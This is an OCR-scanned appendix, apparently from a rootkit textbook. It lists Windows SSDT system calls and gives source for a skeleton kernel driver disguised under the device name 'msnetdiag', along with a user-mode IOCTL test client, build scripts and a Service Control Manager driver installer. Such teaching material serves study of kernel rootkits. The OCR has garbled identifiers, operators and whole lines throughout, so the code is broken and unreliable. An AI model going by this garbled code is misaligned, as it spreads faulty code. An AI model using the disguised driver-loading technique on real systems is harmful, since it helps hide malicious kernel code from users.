nt INtPropagationComplete nt INtPropagationFailed nt INtProtectVirtualMeroory nt INtPulseEvent nt INtQueryAttributesFile nt INtQueryBootEntryOrder nt INtQueryBootoptions nt INtQueryDebugFilterState ntlNtQueryDefaultLocale nt INtQueryDefaul tUILanguage ntlNtQueryDirectoryFile nt INtQueryDirectoryObj ect ntlNtQueryDriverEntryOrder nt I NtQueryEaFile nt I NtQueryEvent nt INtQueryFullAttributesFile nt ! NtQuerylnformationAtom nt! NtQuerylnformationEnlistment nt! NtQuerylnformationFile nt! NtQuerylnformationJobObject nt! NtQuerylnformationPort nt INtQuerylnformationProcess nt! NtQuerylnformationResourceManager nt! NtQuerylnformationThread nt! NtQuerylnformationToken nt! NtQuerylnformationTransaction nt!NtQuerylnformationTransactionManager nt! NtQuerylnformationWorkerFactory nt! NtQuerylnstallUILanguage nt ! NtQuerylntervalProfile nt! NtQueryloCompletion nt ! NtQueryKey nt! NtQueryLicenseValue nt ! NtQueryMul tipleValueKey nt ! NtQueryMutant nt! NtQueryObject nt ! NtQueryOpenSubKeys nt! NtQueryOpenSubKeysEx nt INtQueryPerformanceCounter nt! NtQueryPortInformationProcess nt! NtQueryQuotalnformationFile nt ! NtQuerySection nt! NtQuerySecurityObject nt ! NtQuerySemaphore nt INtQuerySymbolic LinkObj ect nt! NtQuerySystemEnvironmentValue nt! NtQuerySystemEnvironmentValueEx nt ! NtQuerySystemlnformation nt ! NtQuerySystemTime nt ! NtQueryTimer nt ! NtQueryTimerResolution nt ! NtQueryValueKey nt ! NtQueryVirtualMeroory nt! NtQueryVolumelnformationFile nt! NtQueueApcThread nt! NtRaiseException nt! NtRaiseHardEr ror nt! NtReadFile nt! NtReadFileScatter nt INtReadOnlyEnlistment nt ! NtReadRequestData nt ! NtReadVirtualMemory nt! NtRecoverEnlistment nt ! NtRecoverResourceManager nt INtRecoverTransactionManager
A pen di x p
I 707
Appendix / Chapter 3
nt! NtRegisterprotocolAddresslnformation nt! NtRegisterThreadTerminatePort nt! NtReleaseCMFVieWCMnership nt! NtReleaseKeyedEvent nt! NtReleaseMutant nt! NtReleaseSemaphore nt! NtReleaseWorkerFactoryWorker nt ! NtRemoveloCompletion nt ! NtRemoveloCompletionEx nt! NtRemoveProcessDebug nt ! NtRenameKey nt! NtRenameTransactionManager nt ! NtReplaceKey nt ! NtReplaceParti tionUni t nt! NtReplyPort nt ! NtReplyWai tRecei vePort nt! NtReplyWai tReceivePortEx nt! NtReplyWai tReplyPort nt ! NtRequestPort nt! NtRequestWai tReplyPort nt! NtRequestWakeupLatency nt ! NtResetEvent nt! NtResetWriteWatch nt ! NtRestoreKey nt! NtResumeProcess nt! NtResumeThread nt ! NtRollbackComplete nt! NtRollbackEnlistment nt!NtRollbackTransaction nt!NtRollforwardTransactionManager nt ! NtSaveKey nt ! NtSaveKeyEx nt ! NtSaveMergedKeys nt! NtSecureConnectPort nt! NtSetBootEntryDrder nt ! NtSetBootOptions nt ! NtSetContextThread nt ! NtSetDebugFilterState nt! NtSetDefaul tHardErrorPort nt! NtSetDefaultLocale nt! NtSetDefaultUILanguage nt ! NtSetDri verEntryOrder nt! NtSetEaFile nt ! NtSetEvent nt! NtSetEventBoostPriori ty nt! NtSetHighEventPair nt ! NtSetHighWaitLowEventPair nt! NtSetInformationDebugObject nt! NtSetInformationEnlistment nt! NtSetlnformationFile nt! NtSetInformationJobObject nt! NtSetInformationKey -nt! NtSetInformationObject nt! NtSetlnformationProcess nt! NtSetlnformationResourceManager nt! NtSetlnformationThread nt! NtSetInformationToken nt! NtSetInformationTransaction nt! NtSetlnformationTransactionManager nt ! NtSetInformationWorkerFactory nt ! NtSetIntervalProfile nt ! NtSetIoCompletion nt! NtSetLdtEntries nt! NtSetLowEventPair nt! NtSetLCJW.oJai tHighEventPair
708
Appendix
SSDT
nt ! NtSetQuotalnformationFile nt ! NtSetSecuri tyObject nt ! NtSetSystemEnvironmentValue nt! NtSetSystemEnvironmentValueEx nt!NtSetSystemlnformation nt ! NtSetSystemPowerState nt ! NtSetSystemTime nt ! NtSetThreadExecutionState nt ! NtSetTimer nt!NtSetTimerResolution nt! NtSetUuidSeed nt ! NtSetValueKey nt! NtSetVolumelnformationFile nt ! NtShutdownSystem nt! NtShutdownWorkerFactory nt! NtSignalAndWaitForSingleObject nt! NtSinglePhaseReject nt! NtStartProfile nt ! NtStopProfile nt! NtSuspendProcess nt! NtSuspendThread nt ! NtSysterrDebugControl nt! NtTerminateJobObject nt! NtTerminateProcess nt! NtTerminateThread nt! NtTestAlert nt! NtThawRegist ry nt! NtThawTransactions nt! NtTraceControl nt ! NtTraceEvent nt! NtTranslateF ilePath nt!NtUnloadDriver nt ! NtUnloadKey nt ! NtUnloadKey2 nt ! NtUnloadKeyEx nt! NtUnlockFile nt! NtUnlockVirtualMemory nt ! NtUnmapVieWOfSection nt INtVdmControl nt ! NtWaitForDebugEvent nt! NtWaitForKeyedEvent nt! NtWaitForMultipleObjects nt! NtWaitForMultipleObjects32 nt! NtWaitForSingleObject nt! NtWaitForWorkViaWorkerFactory nt ! NtWaitHighEventPair nt ! NtWai tLowEventPair nt! NtWorkerFactoryWorkerReady nt! NtWriteFile nt ! NtWri teFileGather nt ! NtWri teRequestData nt! NtWri teVirtualMemory nt! NtYieldExecution nt! xHalLoadMicrocode nt! xHalLoadMicrocode
Appendix
I 709
Appendix / Chapter 4
Chapter 4
+ + +
ct r l code. h
+ + +
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++* /
#define FILE_DEVICE_ RK 0xOOOOSOOl #define IOCTL TEST Cr-1J\ CTL_ CODE (FIL(DEVICE_ RK, 0xS01, METHOD_ BUF FERED, FILE_READ_DATA: FILE_WRITE_DATA)
/* ++++++++++++++++++++++++++1 I I I I I t I I 1++++++++11 I I 11111++++++++++1 I I I I I I I I I I I I I
+ + +
+
datatype.h
I I Itt I I I t I I I I I t I I I I I I I I I
++++++++++++++++++++++++++++++++++++++++++++++++++++ I
*/
typedef unsigned l ong typedef unsigned s hort WORD ; typedef unsigned char
DWORD; BYTE ;
/* +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ +
de vice. h
+ +
L \\ Device\\msnetdiag "; Il L prefix = unicode L" \ \ DosDevices \ \ msnetdiag" ; "\ \ \ \ . \ \msnetdiag";
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*/
const WCHAR DeviceNameBuffe r [ 1 const WCHAR Devi ce LinkBuffe r[ 1 const char Us erla ndPath[ 1
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++* /
#ifdef LOG_OFF #define DBG_TRACE( s r c ,msg) #define DBG]RINT1(argl) #define DBG_ PRINT2(fmt , a r gl ) #define DBG]RINT3(fmt , argl , arg2) Ildefine DBG]RINT4 ( fmt , argl, arg2 , arg3) #el se #define DBG_TRACE ( src,msg) #define DBG_ PRINT1(argl) #define DBG_ PRINT2(fmt , argl) #define DBG_PRINT3(fmt , argl,arg2) #define DBG]RINT4( fmt , a r gl , arg2, arg3) #endif
DbgPrint(" [% 1: % \ n", src, msg) s s DbgPrintC% s", argl) DbgPrint(fmt, argl) DbgPrint(fmt, argl, arg2) DbgPrint(fmt , argl, arg2, arg3)
/* +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
710 I Appendix
+ +
kmd .c
+ +
/ /system includes- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -#include "ntddk.h" / / shared #include #include #include includes - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -"ctrlcode.h "datatype.h" "device.h"
/ / local includes- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -#include "dbgmsg. h" / / globals - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -PDEVICE_OBJECT MSNetDiagDeviceObject; PDRIVER_OBJECT DriverObjectRef; / /Operation Routines - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -void TestCoornand
(
char *ptrBuffer; DBG_TRACE ("dispatchIOControl", "Displaying InputBuffer"); ptrBuffer = (char*}inputBuffer; DBG_PRINT2( " [dispatchIOControl] : inputBuffer=%s\n" ,ptrBuffer); DBG_TRACE( "dispatchIOControl", "Populating output Buffer" }; ptrBuffer = (char' }outputBuffer; ptrBuffer[e]=' ! ' ; ptrBuffer[l]=' l' ; ptrBuffer[2] =' 2' ; ptrBuffer[3]= ' 3 ' ; ptrBuffer[4] ='!' ; ptrBuffer[S] =' \e'; DBG]RINT2 (" [dispatchIOControl] : outputBuffer=%s \n" , ptrBuffer) ; return; }/*end TestCoornand(} -- - - - - - - -- - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - -* / / / Dispatch Handlers- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - -NTSTATUS defaultDispatch
(
IN PDEVICE_OBJECT IN PIRP
pDeviceObject, pIRP
*pIRP) . IoStatus) . Status = STATUS_SUCCESS; ( (*pIRP) . IoStatus} . Information = e; IoCompleteRequest(pIRP, ID_NO_INCREMENT} ; return(STATUS_SUCCESS} ; }/*end defaul tDispatch(} - -- - - -- - - - - - - -- - - - - - - - - - - -- - - - - -- - - - -- - - - -- - - - - - - - - - - */
Appendix
1711
Appendix / Chapter 4
IN PDEVICE_OB)ECT IN PIRP
pDeviceObject, pIRP
PIO_STACK_LOCATION irpStack; PYOID input Buffer ; PYOID outputBuffer; inputBufferLength ; ULONG outputBufferLength; ULONG ULONG ioctrlcode; NTSTATUS ntStatus ; ntStatus STATUS_SUCCESS; *pIRP). IoStatus) . Status = STATUS_SUCCESS; *pIRP) . IoStatus) . Information =0; inputBuffer output Buffer (*pIRP) .AssociatedIrp . SystemBuffer; (*pIRP) .AssociatedIrp. SystemBuffer;
/ / get a pointer to the caller 's stack location in the given IRP / / This is where the function codes and other parameters are irpStack IoGetCurrentIrpStackLocation(pIRP); inputBufferLength (*irpStack) . Parameters. DeviceIoControl. InputBufferLength; outputBufferLength (*irpStack) . Parameters. DeviceIoControl .OutputBufferLength; ioctrlcode (*irpStack) . Parameters . DeviceIoControl . IoControlCode; DBG_TRACE ("dispatchIOControl ", "Received a conrnand") ; swi tch(ioctrlcode) { case IOCTL_TEST_CM:l : { TestConrnand(inputBuffer, output Buffer , inputBufferLength, outputBufferLength); *pIRP) . IoStatus) . Information = outputBufferLength; }break; default : { DBG_TRACE( "dispatchIOControl", "control code not recognized"); }break; IoCompleteRequest(pIRP, IO_NO_INCREMENT); return(ntStatus ) ; }/*end dispatchIOControl() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - */ / / Device and Driver Naming Routines- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - NTSTATUS RegisterDri verDeviceName ( IN PDRIVER_OB) ECT pOri verObject) { NTSTATUS ntStatus; / /pointer to structure that defines unicode string UNICODE_STRING unicodeString; RtlIni tUnicodeString (&unicodeString, DeviceNameBuffer) ; / / register the driver ' s named device ntStatus = IoCreateDevice
(
/ / pointer to driver object / /# bytes allocated for device extension of device object //unicode string containing device name / / driver type (vendor defined)
712 I Appendix
8, TRUE , &MSNetDiagOeviceObject
I lone or more system-defined constants, OR-ed together lithe device object is an exclusive device I I pointer to global device object
li pointer to structure that defines unicode string UNICODE_STRING unicodeString; UNICODE_STRING unicodeLinkString;
RtlIni tUnicodeString( &unicodeString, DeviceNameBuffer) ; RtlIni tUnicodeString( &unicodeLinkString, OeviceLinkBuffer) ; Il register the driver's named device ntStatus = IoCreateSymbolic Link
(
&unicodeLinkString, &unicodeString
); return (ntStatus) ; }/* end RegisterDriverOeviceLink() - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - -- - - - - -- - - - -* I
I I DRIVER_OBJECT functions- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - -VOID Unload(IN PDRIVER_OBJECT pDriverObject) { PDEVICE_OBJECT pdeviceObj; UNICODE_STRING unicodeString; DBG_TRACE("OnUnload", "Received signal to unload the driver"); pdeviceObj = ( *pDriverObject) ,00viceObject;
I I necessary, otherwise you must reboot to clear device name and link entries
if (pdeviceObj! = NULL) { DBG_TRACE( "OnUnload", "Un registering driver's symbolic link"); RtlInitUnicodeString(&unicodeString, DeviceLinkBuffer); IoDeleteSymbolicLink(&unicodeString );
DBG_ TRACE ("OnUnload ", "Un registering driver's device name"); IoDeleteDevice( (*pDri verObj ect) , DeviceObject ); return; }/*end Unload() - - -- - - - - - - - - - - - - - - - - - - - - - - -- - - - -- - - - - -- - - --- - - - - -- - - - -- - - - --- -* I
NTSTATUS DriverEntry
(
DBG_ TRACE ( "Driver Entry", "Driver is Booting- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -"); DBG_TRACE ( "Driver Entry", "Establishing dispatch ta ble" ); for(i =8; i <IRP_MJ_MAXI/<U1JUNCTION; i++)
Appendix 1713
Appendix I Chapter 4
= dispatchIDControl;
DBG_TRACE( "Driver Entry", "Establishing other DriverObject function pointers " ); ( *pDriverObject) . DriverUnload = Unload ; DBG_TRACE( "Driver Entry ", "Registering driver ' s device name"); ntStatus = RegisterOriverOeviceName(pDriverObject ); if( !NT_SUCCESS(nt Status { DBG_TRACE( "Driver Entry" , "Failed to create device"); return ntStatus;
DBG_TRACE( "Driver Entry", "Registering driver's symbolic link") ; ntStatus = RegisterDri verOeviceLink 0 ; if(! NT_SUCCESS(ntStatus { DBG_TRACE("Driver Entry ", "Failed to create symbolic link " ); return ntStatus ;
# +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - -- - - - - - - - - - - - - - - -- - - - - -- - - - --+ # :
# : SOURCES
# : I # +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --+
cmdline . h
+
I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I
+ + +
I 1+++* /
/ f Use the following to replace argYle], argv[l], argv[2] #define ARGV_EXENAME argyle]
714 1 Appendix
#define ARGV_OPERATION #define ARGV_OPERAND #define MAX_ CMDLINE_ ARGS #define MIN_CMDLINE_ARGS #define MAX_ARGV_SZ
argv [ l] argv[2]
3
2
127
2
Il argv[e], argv[l], argv[2] Il argv[e], argv[l]' argv[2] I l size limit for argv[2] Il op-code consist of 2 characters
I I these are all the command s that can be issued #define Cfo'D_TEST_OP "op"
/* 11111111111111111111111+++++++++++++++++++++++++++++++++++111111111111111111I
+ + +
dbgmsg. h
+ + +
IIIIII1111111111111111111111111111111111111111111111111111111111111111111111+ */
#ifdef LOG_OFF #define DBG_TRACE(src,msg) #define DBG]RINT1(ar gl) #define DBG]RINT2 ( fmt , argl) #define DBG_ PRINB(fmt , argl , arg2 ) #define DBG]RINT4( fmt, a r gl , arg2, arg3) #else #define DBG_TRACE(src , msg ) #define DBG_PRINT1(argl ) #define DBG_PRINT2 ( fmt,argl) #define DBG_ PRINB ( fmt , argl , arg2) #define DBG_PRINT4(fmt , argl , arg2 , arg3) #endif
printf ( "[% : %s \n", src, msg) s] printf("% s", argl) printf(fmt, argl) printf(fmt, argl, arg2) printf(fmt, argl , arg2, arg3)
/* I I I I I
+ + +
exitcode. h
+ + +
+++111111111111111111111++++++1111111111111111111111111111111111111++++++++++* /
#define STATUS_SUCCESS #define STATUSJAILURE_NO_ARGS #define STATUSJAILURE_MAX_ARGS #define STATUSJAILURE_MISSING~RG #define STATUSJAlLURE_ BAD_ARG #define STATUSJAILURE_BAD_Cfo'D #define STATUSJAILURE_NO_RAM #define STATUSJAILURE _OPEN_HANDLE #define STATUS_FAILURE_CLOSE_HANDLE
exeeeeeeee
exeeeeeees exeeeeeee6
+ + +
usr .c
+ + +
Il system includes - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -#include (stdio. h> #include "WINDOWS . h" #include "winioctl.h"
Appendix
1715
Appendix / Chapter 4
#include "device,h"
I /local includes- - --- - ---- - ---- - ---- - - -- --- - ------- ----- - ----- - ----- - ----- - -- -#include "dbgmsg, h" #include "exitcode , h" #include "cmdline, h" I I Device Driver functions- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -int setDeviceHandle(HANDLE *pHandle } { DBG_PRINT2 (" [setDeviceHandle]: Opening handle to % \n" ,User landPath) ; s *pHandle = CreateFile ( UserlandPath , Il path to device file GENERIC_READ GENERIC_WRITE, II access rights to device requested 8, Il dwShareMode (8 = not shared with other processes) NULL, Il lpSecurityAttributes (handle cannot be inherited) OPEN_EXISTING, Iithis function fails if file doesn't exist FILE_ATTRIBUTE_NORMAL, Il file has no attributes (hidden, read-only, etc,) Il hTemplateFile (file attribute templates) NULL }; i f( *pHandle==INVALID_HANDLE_VALUE} { DBG_PRINT2(" [setDeviceHandle]: handle to % not valid\n" ,UserlandPath}; s return (STA JAILURE_OPEN_HANDLE) ; TUS } DBG_ TRACE ("setDeviceHandle", "device file handle acquired"); return(STATUS_SUCCESS} ; }/*end setDeviceHandle (} - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - -* I
I l Ope rations - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - int TestOperation(HANDLE hDeviceFile} { BOOL opStatus = TRUE; char *inBuffer; char *outBuffer; DWORD nBuffe r Size = 32; DWORD bytes Read = 8; inBuffer = (char* )malloc(nBufferSize); out Buffer = ( char* )malloc ( nBufferSize) ; ifinBuffer== NULL} : : (outBuffer==NULL { DBG_TRACE( "TestOperation ", "Could not allocate memory for C/1)_TEST_OP"}; return( STATUSJAILURE_NO_RAM} ;
sprintf(inBuffer, "This is the INPUT buffer"}; sprintf(outBuffer, "This is the OUTPUT buffer"}; DBG]RINT2("[TestOperation] : cmd=% Test Conrnand\n",CI'O_TEST_OP}; s,
lithe following method is documented in the Windows SDK (not the WOK)
opStatus = DeviceIoControl ( hDeviceFile, (DWORD) IOCTL_ TEST_C/1), (LPVOID) inBuffer , nBufferSize, (LPVOID}outBuffer , nBufferSize, &bytesRead, NULL };
II LPVOID IpInBuffer, IIDWORD nInBufferSize, I I LPVOID lpOutBuffer, II DWORD nOutBufferSize, 11# bytes actually stored in output buffer II LPOVERLAPPED lpOverlapped (can ignore)
7161 Appendix
printf(" [TestOperation): bytesRead=%d\n" ,bytesRead); printf(" [Testoperation) : outBuffer=%s\n" ,outBuffer); free( inBuffer) ; free (outBuffer) ; return(STATUS_SUCCESS) ; }/'end TestOperation() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - -' / / /Conrna nd - Line Routines - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - -- - - - - - --char' editArg(char 'src) { if(strlen(src) >= MAX_ARGV_SZ) { src[MAX_ARGV_SZ-l) = ' \8'; return(src); }/'end editArg() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - _0/
/0
Filter out bad conrnands Conrnand -line should look like file, exe operation operand argyle) argv[l) argv[2)
'/
int chkCmdLine(int argc, char' argv[)) { int i; DBG_ TRACE ( "chkCmdLine ", "[begin) - - - - - - - - - - -"); DBG]RINT2(" [chkCmdLine): argc=%i \n" ,argc); if(argc > MAX_CMDLINE_ARGS) { DBG]RINT2(" [chkCmdLine): argc=%d, too many arguments \n" ,argc) ; DBG_TRACE ( "chkCmdLine ", "[ failed) - - - - - - - - - -"); r eturn(STATUSJAILURE_MAX_ARGS) ; } else if(argc < MIN_CMDLINE_ARGS) { DBG]RINT2(" [chkCmdLine) : argc=%d, not enough arguments\n ",argc); DBG_TRACE( "chkCmdLi ne", " [failed) ------ ---- "); return(STATUSJAILURE_NO_ARGS) ;
for(i=e; i <argc; i++) { char buffer [MAX_ARGV_SZ) ; DBG]RINT2("\tchkCmdLine: arg[%d)", i); DBG]RINT2( "=%s\n", strncpy(buffer, editArg(argv[ i) ,MAX_ARGV_SZ ;
if(strlen(ARGV_OPERATION) > MAX_OPERATION_SZ) { DBG]RINT2(" [chkCmdLine): conrnand=%s, not recognized\n" ,ARGV_OPERATION); DBG_TRACE ("chkCmdLine", "[ failed) - - - - - - - - - -"); return(STATUS_FAlLURE_BAO_CMD) ;
Appendix 1717
Appendix / Chapter 4
/"
Process cOl1111ands and invoke the corresponding operation function
"/
int procCmdLine( char" argv[)) { int ret Code =STATUS_SUCCESS; HANDLE hDeviceFile =INVALID_HANDLE_VALUE; retCode = setDeviceHandle(&hDeviceFile); if(retCode != STATUS_SUCCESS) { return (retCode) ;
/ / execute cOl1111ands if (strncmp(ARGV_OPERATION, (1)-TEST_OP, MAX_OPERATION_SZ )==0) { retCode = TestOperation(hDeviceFile); else { DBG]RINT2( " [procCmdLine) : cOl1111and=%s, not recognized\n" ,ARGV_OPERATION); return( STATUSJAILURE_BAD-(1)) ;
/ /perform some basic cleanup DBG_PRINT2("[procCmdLine) : Closing handle to %s\n",UserlandPath) ; if(CloseHandle(hDeviceFile) == FALSE) { DBG]RINT2( " [procCmdLine) : Errors closing handle to %s\n",UserlandPath); return(STATUSJAILURE_CLOSE_HANDLE) ;
DBG_TRACE ("procCmdLine", "COI1111and processing completed"); return( retCode) ; }/"end procCmdLine- - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - -- - - - - -- - - - - - - - - - - - - - - - - - - - - " /
/ /Entry Point- -- - - - - - - - - - - - - - - -- - - - - - - -- - - --- - - --- - - - - -- - - - - --- - - - - - - - - -- - - - - -int main(int argc, char" argv[)) { int retCode ; DBG_TRACE("main", "program execution initiated"); retCode = chkCmdLine(argc,argv); i f(retCode! =STATUS_SUCCESS) { DBG]RINT2( " [main) : Application failed, exit code = (%d)\n",retCode); retu rn (retCode) ;
retCode = procCmdLine(argv); i f(retCode! =STATUS_SUCCESS) { DBG]RINT2(" [main): Application failed, exit code = (%d)\n", retCode); return (retCode) ;
718
Appendix
REM +++++++++++++++++++++1 I I II I I I II II I I I IIIII I IIIII IIII I I I I I I I I IIIII I IIII I I III I REM + + REM + bldusr . bat + REM + + REM IIIIII111111111111111111111111111111111111111111111111IIIIII111111111111111
@echo off REM Set up build environment -- - -------- -- -------------------------------- --- - -set THISJILE=bldusr . bat ECHO [ %THIS_FILE% : Establish bui ld environment ] set SAVED_PATH=%PATH% set PATH=%PATH%;C : \ W nOOK\ 6eOO\bin\x86 ; C: \WinOOK\6eOO\bin\x86\x86 i REM Perform Build - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - -ECHO [ %THIS_FILE%]: Invoking nmake . exe IF IF IF IF "%--1" % == 1 % == 1 % == 1 == ,," GOTO usage debug ( nmake. exe lNOLOGO release ( nmake . exe l NOLOGO clean (nmake.exe lNOLOGO
IS IF makefile . txt BLDTYPE=DEBUG % l)&(GOTO ELevel) IS IF makefile. txt % ) &(GOTO ELevel) l IS IF makefile . t xt % l)&(GOTO ELevel)
: usage ECHO [ %THIS_FILE% : ERROR - BAD ARGlX'IENTS ] ECHO [ %THISJILE% : USAGE : %THIS_FILE% A( debug A: release A: clean A) ] GOTO end : ELevel IF % ERRORLEVEL% == IF % ERRORLEVEL% == IF % ERRORLEVEL% == IF % ERRORLEVEL% == IF % ERRORLEVEL% == GOTO unexpected
0 GOTO good 1 GOTO incomplete 2 GOTO apperror 4 GOTO syserror 255 GOTO uptodate
: good ECHO [ %THIS_FILE% : Success ] GOTO END : incomplete ECHO [ %THIS_FILE% : Incomplete build (issued only when IK is used) ] GOTO ENO : apper ror ECHO [ %THISJ ILE%] : Program error (makefile syntax error, cOOll1and error, or user interruption) GOTOEND : syserror ECHO [ %THIS_FILE%] : System error (out of memory) GOTO END : uptodate ECHO [ %THIS_FILE% : Target i s not up to date (issued only when IQ is used) ] GOTO END : unexpected ECHO [ %THISJILE%]: Unexpected retur n code GOTO END : end ECHO [ %THIS_FILE% : ERRORLEVEL= % ] ERRORLEVEL% REM Restor e Old Environment- - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - -- - - --
Appendix 1719
Appendix / Chapter 4
# +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - + I # II I I # : makefile. txt I # I I
I I
:: usr.c
= usr.obj = winmgr = winmgr
= I I ${ooK_DIR)\inc = I I ${ooK_DIR) \ inc\crt = I I ${ooK_DIR)\inc\api = II " . . \inc" = $(ooK_INC) $(CRT_INC) $ (API_INC) $(APP_INC)
# [Library Paths]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - --CRT_ LIBS W2K_ LIBS LIBS = I LIBPATH: $(ooK_DIR) \ lib\crt\i386 = I LIBPATH:${ooK_DIR)\lib\w2k\i386 = $(CRT_LIBS) $(W2K_LIBS)
# [Tool arguments] - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - -CFLAGS = Ic Inologo IFAcs $(INCLUDES) I W4 CC_DEBUG_FLAGS = I Od IFd${DEBUG_NAME) III CC_RELEASEJLAGS = 101 IDLOG_OFF LNKJLAGS = /NOLOGO $(LIBS) I SUBSYSTEM : CONSOLE !VERSION : 1.0 IWX LNK_DEBUGJLAGS = I DEBUG lOUT: $(OUT_DIR) \$(DEBUG_NAME) EXE LNK_RELEASEJLAGS = l OUT: $ (OUT_DIR) \$(RELEASE_NAME) EXE
# [Inference Rules]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
! IFDEF BLDTYPE .c . obj : : $ ( CC ) $(CFLAGS) $(CC_DEBUGJLAGS) $< !ELSE . c.obj : : $(CC) $ ( CFLAGS) $(CC_RELEASEJLAGS) $< ! ENDIF
720
Appendix
Project: Installer
# [Description Blocks)- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -# # # # # # . cod .obj .exe . pdb .idb . ilk listing file (assembly, machine code) object code final product (debug build only) debug symbols VC++ Minimum Rebuild Dependency File (debug build only) (debug build only) incremental link file
clean : del *. cod del * .obj del * . pdb del *. idb del $(OUT_DIR)\* .pdb del $(OUT_DIR)\*. ilk del $(OUT_DIR)\*.exe debug: $(OBJJILES) $(LINK) $(LNKJLAGS) $(LNK_DEBUGJLAGS) $(OBJJILES) release: $(OBJJILES) $(LINK) $(LNKJLAGS) $(LNK_RELEASEJLAGS) $(OBJJILES)
Proied: Installer
Files: Install.e
/* III
+ + +
I I I I I I I I I I I I I I I I I I I I II I I II I I I I I I I I I I II I I I II I I I I II I I I III I I I III I I I I I I I I I I I I I
install. c
+ + +
/ !local includes - --- --- ---- - - ------- - ---- - ----- ----------- - ----- - ----- - ----- --#include "dbgmsg . h" #include "printerr. c " / /Core Routines- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --
/*
Gets a handle to the SCM database and registers the service You can test this function by invoking : 1) sc. exe query dri verName 2) regedit .exe, see HKLM\System\CurrentControISet\Services\srv3
*/
SC_HANDLE installDriver(LPCTSTR driverName, LPCTSTR binaryPath) { SC_HANDLE scmOBHandle NULL; SC_HANDLE svcHandle NULL; scmOBHandle
(
~
OpenSCManager / /LPCTSTR IpMachineName (NULL ~ local machine) / /LPCTSTR IpDatabaseName (NULL ~ SERVICES_ACTIVE_DATABASE)
NULL, NULL,
Appendix 1721
Appendix I Chapter 4
/ / DIo.ORD d..oesiredAccess ); if (NULL==scmDBHandle) { DBG_TRACE("installDriver", "could not open handle to SCM database "); PrintError() ; return(NULL) ;
svcHandle = CreateService ( scmDBHandle, / / SC_HANDLE hSCManager dri verName , / / LPCTSTR IpServiceName driverName, / / LPCTSTR IpDisplayName SERVICE_ALL_ACCESS, / / DIo.ORD d..oesiredAccess SERVICE_KERNEL_DRIVER, / / DIo.ORD dwServiceType SERVICE_DEMAND_START, //DIo.ORD dwStartType SERVICE_ERROR_NORMAL, / / DIo.ORD dwErrorControl binaryPath , / /LPCTSTR IpBinaryPathName (full path) NULL, // LPCTSTR IpLoadOrderGroup / / LPDIo.ORD IpdwTagId NULL, / / LPCTSTR IpDependencies NULL, / /LPCTSTR IpServiceStartName (account name) NULL, / /LPCTSTR IpPassword (password for account) NULL ); if (svcHandle==NULL) { i f(GetLastError( )==ERROR_SERVICE_EXISTS) { DBG_TRACE ( "installDri ver" , " driver already installed"); svcHandle = OpenService(scmDBHandle, driverName, SERVICE_ALL_ACCESS); if( svcHandle==NULL) { DBG_TRACE("installDriver" , "could not open handle to driver") ; PrintError() ; CloseServiceHandle (scmDBHandle) ; return(NULL) ; } CloseServiceHandle(scmDBHandle) ; return( s vcHandle) ; } DBG_TRACE("installDriver", "could not open handle to driver"); PrintError() ; CloseServiceHandle( s cmDBHandle) ; return(NULL) ;
